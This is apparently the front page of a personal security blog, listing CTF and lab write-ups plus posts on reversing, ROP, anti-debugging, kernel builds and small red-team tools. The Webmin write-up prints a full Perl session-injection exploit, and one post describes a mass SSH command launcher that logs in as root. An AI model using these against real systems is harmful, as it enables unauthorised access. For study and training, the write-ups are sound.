Posts

  1. PoliCTF 2015 - Crack me if you can - Reversing 100


    I untarred the challenge and in the folder: crack-me-if-you-can.apk. Awesome, I love reversing Android apps. I did what I always do when I get an apk: decompress and decompile it.

    ~/Dev/dex2jar/d2j-dex2jar.sh crack-me-if-you-can.apk
    apktool d crack-me-if-you-can.apk
    

    Apktool complained about some of the resources since I don't have a framework-res.apk handy, but that's alright, I didn't need it to fully decompress anyway. Next, I loaded the jar file into JD-GUI and saved all of the sources from it as shown below. Save All Sources Then I unzipped and inspected the LoginActivity.java source file to see what the program was doing.

    mkdir sources && unzip sources.zip -d $\_
    vim sources/it/polictf2015/LoginActivity.java
    

    When reversing an android app I always start at the first activity and look at the OnCreate function.

    protected void onCreate(Bundle paramBundle)
    {
      super.onCreate(paramBundle);
      setContentView(2130968599);
      if ((a(getApplicationContext(), 2)) \|\| (a(getApplicationContext(), "flagging{It_cannot_be_easier_than_this}")) \|\| (a(getApplicationContext(), false)) \|\| (a(getApplicationContext(), 2.78D)))
        Toast.makeText(getApplicationContext(), getString(2131492925), 1).show();
      while (true)
      {
        this.a = ((EditText)findViewById(2131361877));
        ((Button)findViewById(2131361878)).setOnClickListener(new a(this));
        this.b = findViewById(2131361875);
        return;
        Toast.makeText(getApplicationContext(), getString(2131492922), 1).show();
      }
    }
    

    ...


    Check out the full post for more details!
  2. PoliCTF 2015 - Hanoi-as-a-Service - Pwnable 50


    This challenge gave nothing but a URL: haas.polictf.it 80. For some reason the organizers decided to run a lot of their services on port 80. Netcatting inĀ reveals a simple hanoi solver. Usually when given a service like this with no binary I start inputting values to see what information I can get or if I can cause any errors/crashes. I try a positive, then a negative number.

    Connecting

    The program had an error, and it printed out for us. What is prolog?

    Prolog is a general purpose logic programming language associated with artificial intelligence and computational linguistics. -Wikipedia
    With a little bit of Googling around I tried some syntax:

    Causing errors

    It looks like it is taking our input and putting it directly between the two parentheses of the hanoi function. This is textbook command injection. To test, I decided to print something simple. ...


    Check out the full post for more details!
  3. Some Metasploit Annoyances


    I don't know how I broke metasploit, but I did. It reported an incorrect password for the msf3 postgres user. Here's how I fixed it after some digging.

    su - postgres
    psql
    postgres=# alter user msf3 with encrypted password 'mypasswordhere';
    postgres=# \q
    vim /opt/metasploit/apps/pro/ui/config/database.yml
    

    Replace database password with whatever password you just set and enjoy msfconsole and related tools again.

  4. Sort of ROP


    I've been running through some exploit challenges recently to try and develop my skills a bit more. I was working on the exploit-exercises.com Protostar VM on some stack challenges for a bit today and ended up doing some Return Oriented Programming (ROP) to solve stack6 and stack7. It was interesting to work on so I thought that I would share here. I know it isn't 100% ROP (I use shellcode in the end) but that's alright, it got around the protections that these two challenges had in place.

    Basically the gist of these two is that you can overflow a buffer of size 64 to get code execution. In these examples, however, there are some restrictions. In stack6 if you try and overwrite the return address with anything that begins with 0xbf (anything on the stack or in environmental vars), then it will exit and not run the shellcode you want it to. Unfortunate, but a nice challenge. Stack7 is similar but you cannot make the return address anything that starts with 0xb at all so it is a bit more restrictive. I was actually able to solve both at the same time with ROP. ...


    Check out the full post for more details!
  5. Anti-Debugging


    I know anti-debugging and anti-reversing methods can be beaten fairly easily, but I played around with some today and thought it was worth sharing. My goal at the beginning was to be able to detect if a software breakpoint had been set (0xCC or 0xCD in memory). With a bit of searching around and figuring out different things I came up with the following code:

    #include <unistd.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    
    extern char __executable_start;
    extern char __etext;
    void check_bp(){
        //Check debugger breakpoints (software)
        unsigned char bp1 = 0xCB; //We need to define the interrupt
        unsigned char bp2 = 0xCB; //codes without actually including them
        bp1++; bp2++; bp2++;
    
        //Point to the beginning of the .text section and then figure out the size
        unsigned char* ch = (unsigned char *)(unsigned long)&__executable_start;
        size_t size = (unsigned long)&__etext - (unsigned long)&__executable_start;
    
        //Scan through memory (.text) to find breakpoints :)
        for (size_t i = 0; i != size; i++){
            if (ch[i] == bp1 || ch[i] == bp2){
                printf("Breakpoint detected. @0x%lx: 0x%x\nAborting.\n", (unsigned long)&ch[i], ch[i]);
                raise(SIGSEGV);
            }
        }
    }
    
    int main(){
        check_bp();
        //do main stuff
        return 0;
    }
    

    The external symbol __executable_start denotes where the text section starts in Linux. The external symbol __etext denotes the end of the text section in Linux. Basically this code finds where the text section starts and the size of the text section then scans through it to look for 0xCC or 0xCD. If it finds a breakpoint then the address and hex code of the breakpoint are printed to the screen and a segfault is raised. This can easily be bypassed by skipping over the check_bp function in GDB, but it is still a neat proof of concept.

    Other things that can help prevent debugging/reversing are checking LD_PRELOAD, checking ptrace, and obfuscating the code. The first two can be beaten by the same trick that the breakpoint finder can, but obfuscation is not as easily defeated because it just makes the code really hard to reverse. Perhaps a combination of all four things can make a safer program, or perhaps a kernel module that prohibits tracing/breakpoints from any userland program. Just thoughts.

  6. Mass Pwning via SSH with PXSSH


    I've been meaning to do something like this for a while. When I red team I find myself writing scripts and then uploading them and running them the dumb way because I've been too lazy to automate with expect. When I finally decided to write a python script to log in and run commands for me I was delighted to find pxssh, a pexpect based python module for connecting and interacting with SSH sessions. I used this and my prior practice with threading in python to create pxpwn: an asynchronous and distributed command launcher. By default it reads commands from a file called "commands.txt", targets from a file called "targets.txt", writes command output to stdout, has a default login username of "root", and a default login password of "changeme". It can be silenced entirely so it shows only connected clients with -q, output can be redirected to a single file with -o (not recommended for large target lists as it locks the thread when it writes), output can be redirected to a file per host with -d, the username can be set with -u , and the password can be set with -p .

    This is FAST. It connected and ran commands on six machines on two different subnets (whole subnets in the targets.txt file, created with a bash for loop, nonexistent clients are reported and ignored) in about 15 seconds. I may need to program in the maximum number of threads to be used at one time so a large targets.txt file does not roast the computer it is running on. I'm also thinking of adding in optional per host usernames and passwords as well as killing the bash history by default (which I'm pretty sure it writes to).

    The code can be found on my GitHub: https://github.com/jgeigerm/pxpwn

  7. OS X^3 Kernel Issues


    With the upgrade from Mavericks to Yosemite (pronounced Yo-sem-eye-t) came problems for me. Kernel panics every couple of hours after putting my Mac to sleep. I fear that it is my SSD that is causing the problem but I will try to fix it nonetheless. I wanted to recompile my kernel so it would be easier to debug so I patiently awaited the 10.10 source code on https://opensource.apple.com/. When it was released I got to downloading AvailabilityVersions 9, dtrace 147, and the xnu 2782.1.97 source code. Apparently not that many people know that the OSX kernel is open source, but it is and it is pretty straight forward to compile and install (except if you are me, and then random problems come up). Regardless, here are the steps that I followed to recompile my kernel:

    1. Get the three packages

    curl -O https://opensource.apple.com/tarballs/AvailabilityVersions/AvailabilityVersions-9.tar.gz
    curl -O https://opensource.apple.com/tarballs/dtrace/dtrace-147.tar.gz
    curl -O https://opensource.apple.com/tarballs/xnu/xnu-2782.1.97.tar.gz
    

    2. Build ctfmerge/ctfdump/ctfconvert from dtrace

    gunzip dtrace-147.tar.gz;tar -xf dtrace-147.tar;cd dtrace-147
    mkdir -p obj sym dst
    xcodebuild install -target ctfconvert -target ctfdump -target ctfmerge ARCHS="x86_64" SRCROOT=$PWD OBJROOT=$PWD/obj SYMROOT=$PWD/sym DSTROOT=$PWD/dst
    sudo ditto $PWD/dst/usr/local /usr/local
    

    3. Build AvailabilityVersions

    gunzip AvailabilityVersions-9.tar.gz;tar -xf AvailabilityVersions-9.tar;cd AvailabilityVersions-9
    mkdir -p dst
    make install SRCROOT=$PWD DSTROOT=$PWD/dst
    sudo ditto $PWD/dst/usr/local `xcrun -sdk / -show-sdk-path`/usr/local
    

    4. Untar the kernel:

    gunzip xnu-2782.1.97.tar.gz;tar -xf xnu-2782.1.97.tar;cd xnu-2782.1.97
    

    5. At this point you could run make, but this is where I ran into trouble. I installed the 10.10 SDK via xCode in Preferences->Downloads and made sure it was installed with xcodebuild -showsdks. Everything seemed good to go, but when I ran make...

    make ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=RELEASE
    xcodebuild: error: SDK "macosx.internal" cannot be located.
    xcodebuild: error: SDK "macosx.internal" cannot be located.
    xcrun: error: unable to lookup item 'Path' in SDK 'macosx.internal'
    ...Lots more errors...
    

    The wrong SDK was being used. Whatever macosx.internal was, it wasn't working. So my solution was just to do a grep for 'macosx.internal' and replace it with 'macosx10.10':

    grep -Rl "macosx.internal" . | while read i;do sed -i '' 's/macosx.internal/macosx10.10/' "$i";done
    

    6. Now we run

    make ARCH_CONFIGS=X86_64 KERNEL_CONFIGS=RELEASE
    

    and it works just fine! The bare minimum kernel compilation instructions were taken from http://shantonu.blogspot.com/2013/10/building-xnu-for-os-x-109-mavericks.html

    I hope this helps anyone having the same issues recompiling their Yosemite kernels!

  8. NCL Exploit 2: Webmin Writeup


    This one was fun. The challenge was titled Exploit 2 with the task of finding the flag on the system. A quick nmap scan with service detection showed a Webmin console running on port 10000. I tried searching for a default password for default webmin login but it reads from shadow. I decided to look into webmin vulns next. A quick google search uncovered a remote command execution vuln! Hallelujah! I found the following exploit code.

    #!/usr/bin/perl
    #
    # Exploit for Webmin 1.050 - 1.060 by Carl Livitt
    #
    # Inserts a fake session_id into the sessions list of webmin.
    # Does no error checking... if remote host is not found, no
    # error will be reported.
    #
    
    print "Webmin 1.050 - 1.060 Remote SID Injection Exploit\n";
    print "By Carl Livitt \n\n";
    
    $nc="/usr/bin/nc";
    
    if($#ARGV == -1) {
        print "Syntax:\n\t$0 hostname\n";
        exit(1);
    }
    
    $hostname=$ARGV[0];
    
    if ( ! -x $nc ) {
        print "netcat not found!\n";
        exit(2);
    }
    
    open(NC, "|$nc $hostname 10000 >& /dev/null");
    print NC "GET / HTTP/1.1\n";
    print NC "Host: $hostname\n";
    print NC "User-agent: webmin\n";
    print NC "Authorization: Basic YSBhIDEKbmV3IDEyMzQ1Njc4OTAgYWRtaW46cGFzc3dvcmQ=\n\n";
    close(NC);
    
    print "You should now have a session\_id of 1234567890 for user 'admin' on host $hostname.\n";
    print "Just set two cookies in your browser:\n\ttesting=1\n\tsid=1234567890\nand you will ";
    print "be authenticated to the webmin server!\n\n";
    print "Note: This will only work on a webmin server configured with the 'passdelay' option.\n";
    

    Escalating to admin looks good. Unfortunately, the exploit didn't seem to be working when I plugged the correct cookie values into Firefox. So I kept looking... Metasploit module for file disclosure: auxiliary/admin/webmin/file_disclosure ...


    Check out the full post for more details!
  9. Quickly Faking Services With Python


    I was developing a port scanning exercise for RIT's Competitive Cybersecurity Club (RC3) a few weeks ago and I thought it would be neat to develop a tool to fake services on the fly. Out of this came fakesrv.py, which allows you to specify a protocol, port, and message or file to spit back when someone connects.

    ./fakesrv.py -t -p 1337 -m "This is a TCP server listening on port 1337!"
    ./fakesrv.py -u -p 12345 -m "This is a UDP server listening on port 12345!"
    ./fakesrv.py -t -p 31337 -f /etc/passwd
    

    Quick, easy, and fun.

    Check it out: https://github.com/jgeigerm/fakesrv

  10. Running i386 Binaries on amd64 Debian


    I ran into this recently and thought it was worth a post. During the Pwnium CTF I was trying to run some of the programs on my Kali VM/partition, which is an amd64 install. Unfortunately the binaries were for the i386 architecture. I did a quick search and all I could find was to run dpkg --add-architecture i386 andĀ install ia32-libs.

    . This doesn't play very nice with Kali and requires about 800MB of extra packages. Not so great. So I was searching around again today as I was upgrading Kali to 1.1.8 and found the better answer:

    dpkg --add-architecture i386
    apt-get update
    apt-get install libc6:i386
    

    After I did that i386 programs would run. The best part, though: only 11MB. Big improvement, same result. Neat.

    ref: http://stackoverflow.com/questions/20032019/to-install-ia32-libs-on-debian-wheezy-amd64